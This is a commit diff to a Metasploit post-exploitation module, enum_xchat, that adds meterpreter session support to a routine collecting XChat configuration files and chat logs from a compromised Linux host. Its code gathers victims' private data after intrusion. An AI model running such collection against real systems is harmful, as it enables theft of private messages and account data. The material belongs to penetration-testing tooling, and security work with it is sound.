Fix enum_xchat to work with meterpreter
parent
b47650580a
commit
73fdc06d1d
|
@ -20,11 +20,11 @@ class Metasploit3 < Msf::Post
|
||||||
.log files.
|
.log files.
|
||||||
},
|
},
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' => [ 'sinn3r'],
|
'Author' => ['sinn3r'],
|
||||||
'Platform' => [ 'linux' ],
|
'Platform' => ['linux'],
|
||||||
# linux meterpreter is too busted to support right now,
|
# linux meterpreter is too busted to support right now,
|
||||||
# will come back and add support once it's more usable.
|
# will come back and add support once it's more usable.
|
||||||
'SessionTypes' => [ 'shell' ],
|
'SessionTypes' => ['shell', 'meterpreter'],
|
||||||
'Actions' =>
|
'Actions' =>
|
||||||
[
|
[
|
||||||
['CONFIGS', { 'Description' => 'Collect XCHAT\'s config files' } ],
|
['CONFIGS', { 'Description' => 'Collect XCHAT\'s config files' } ],
|
||||||
|
@ -62,7 +62,7 @@ class Metasploit3 < Msf::Post
|
||||||
end
|
end
|
||||||
|
|
||||||
def whoami
|
def whoami
|
||||||
user = cmd_exec("whoami").chomp
|
user = cmd_exec("/usr/bin/whoami").chomp
|
||||||
return user
|
return user
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -120,7 +120,7 @@ class Metasploit3 < Msf::Post
|
||||||
files.each do |f|
|
files.each do |f|
|
||||||
vprint_status("#{@peer} - Downloading: #{base + f}")
|
vprint_status("#{@peer} - Downloading: #{base + f}")
|
||||||
buf = read_file(base + f)
|
buf = read_file(base + f)
|
||||||
next if buf.empty?
|
next if buf.blank?
|
||||||
config << {
|
config << {
|
||||||
:filename => f,
|
:filename => f,
|
||||||
:data => buf
|
:data => buf
|
||||||
|
@ -139,7 +139,7 @@ class Metasploit3 < Msf::Post
|
||||||
@peer = "#{session.session_host}:#{session.session_port}"
|
@peer = "#{session.session_host}:#{session.session_port}"
|
||||||
|
|
||||||
user = whoami
|
user = whoami
|
||||||
if user.nil?
|
if user.blank?
|
||||||
print_error("#{@peer} - Unable to get username, abort.")
|
print_error("#{@peer} - Unable to get username, abort.")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
@ -149,8 +149,8 @@ class Metasploit3 < Msf::Post
|
||||||
configs = get_configs(base) if action.name =~ /ALL|CONFIGS/i
|
configs = get_configs(base) if action.name =~ /ALL|CONFIGS/i
|
||||||
chatlogs = get_chatlogs(base) if action.name =~ /ALL|CHATS/i
|
chatlogs = get_chatlogs(base) if action.name =~ /ALL|CHATS/i
|
||||||
|
|
||||||
save(:configs, configs) if not configs.empty?
|
save(:configs, configs) unless configs.empty?
|
||||||
save(:chatlogs, chatlogs) if not chatlogs.empty?
|
save(:chatlogs, chatlogs) unless chatlogs.empty?
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue